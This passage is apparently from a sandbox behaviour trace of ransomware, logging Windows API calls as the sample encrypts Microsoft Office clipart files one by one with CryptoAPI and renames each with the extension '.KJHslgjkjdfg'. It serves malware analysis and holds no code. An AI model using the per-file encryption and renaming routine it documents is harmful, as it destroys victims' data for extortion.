lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.233] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.233] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.233] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.233] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9a8b, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x9a8b, lpOverlapped=0x0) returned 1 [0201.235] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9a90, dwBufLen=0x9a90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9a90) returned 1 [0201.235] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.235] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9a90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9a90, lpOverlapped=0x0) returned 1 [0201.236] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.236] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9b64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.236] SetEndOfFile (hFile=0x130) returned 1 [0201.239] GetProcessHeap () returned 0x990000 [0201.239] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.239] GetProcessHeap () returned 0x990000 [0201.239] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.239] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg.kjhslgjkjdfg")) returned 1 [0201.241] CloseHandle (hObject=0x130) returned 1 [0201.241] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x81f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0309598.JPG", cAlternateFileName="")) returned 1 [0201.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.242] GetProcessHeap () returned 0x990000 [0201.242] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.242] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.242] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.243] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.243] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.243] GetProcessHeap () returned 0x990000 [0201.243] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.243] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.243] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.243] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.246] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.246] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.246] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.246] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.246] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.246] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.247] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.247] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.247] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x81f0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x81f0, lpOverlapped=0x0) returned 1 [0201.252] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x81f0, dwBufLen=0x81f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x81f0) returned 1 [0201.252] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.252] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x81f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x81f0, lpOverlapped=0x0) returned 1 [0201.253] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.253] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x82c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.253] SetEndOfFile (hFile=0x130) returned 1 [0201.256] GetProcessHeap () returned 0x990000 [0201.257] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.257] GetProcessHeap () returned 0x990000 [0201.257] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.257] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg.kjhslgjkjdfg")) returned 1 [0201.258] CloseHandle (hObject=0x130) returned 1 [0201.260] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaabb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0309664.JPG", cAlternateFileName="")) returned 1 [0201.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.261] GetProcessHeap () returned 0x990000 [0201.261] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.261] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.261] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.262] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x5, lpOverlapped=0x0) returned 1 [0201.264] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.264] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.264] GetProcessHeap () returned 0x990000 [0201.264] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.264] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.265] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.265] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.265] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.265] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.265] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.265] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.265] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.265] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.265] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.265] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.265] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xaabb, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xaabb, lpOverlapped=0x0) returned 1 [0201.269] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xaac0, dwBufLen=0xaac0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xaac0) returned 1 [0201.269] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.269] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xaac0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xaac0, lpOverlapped=0x0) returned 1 [0201.270] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.270] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xab94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.270] SetEndOfFile (hFile=0x130) returned 1 [0201.273] GetProcessHeap () returned 0x990000 [0201.273] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.273] GetProcessHeap () returned 0x990000 [0201.273] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.273] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg.kjhslgjkjdfg")) returned 1 [0201.275] CloseHandle (hObject=0x130) returned 1 [0201.275] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ada, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0309705.JPG", cAlternateFileName="")) returned 1 [0201.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.276] GetProcessHeap () returned 0x990000 [0201.276] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.276] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.276] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.276] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0201.278] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.278] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.278] GetProcessHeap () returned 0x990000 [0201.278] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.278] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.278] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.278] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.278] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.279] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.279] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.279] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.279] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.279] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.279] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.279] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.279] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4ada, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4ada, lpOverlapped=0x0) returned 1 [0201.280] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4ae0, dwBufLen=0x4ae0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4ae0) returned 1 [0201.281] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.281] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4ae0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4ae0, lpOverlapped=0x0) returned 1 [0201.281] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.281] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.281] SetEndOfFile (hFile=0x130) returned 1 [0201.283] GetProcessHeap () returned 0x990000 [0201.283] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.283] GetProcessHeap () returned 0x990000 [0201.283] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.283] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg.kjhslgjkjdfg")) returned 1 [0201.285] CloseHandle (hObject=0x130) returned 1 [0201.285] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b95a400, ftCreationTime.dwHighDateTime=0x1bf5cb6, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b95a400, ftLastWriteTime.dwHighDateTime=0x1bf5cb6, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0309902.WMF", cAlternateFileName="")) returned 1 [0201.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.286] GetProcessHeap () returned 0x990000 [0201.286] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.286] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.286] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.286] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.286] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.286] GetProcessHeap () returned 0x990000 [0201.286] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.287] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.287] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.287] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.288] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.288] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.288] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.289] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.289] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.289] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.289] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.289] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.289] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1a00, lpOverlapped=0x0) returned 1 [0201.290] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a00, dwBufLen=0x1a00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a00) returned 1 [0201.290] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.290] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1a00, lpOverlapped=0x0) returned 1 [0201.291] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.291] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.291] SetEndOfFile (hFile=0x130) returned 1 [0201.293] GetProcessHeap () returned 0x990000 [0201.293] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.293] GetProcessHeap () returned 0x990000 [0201.293] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.293] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft 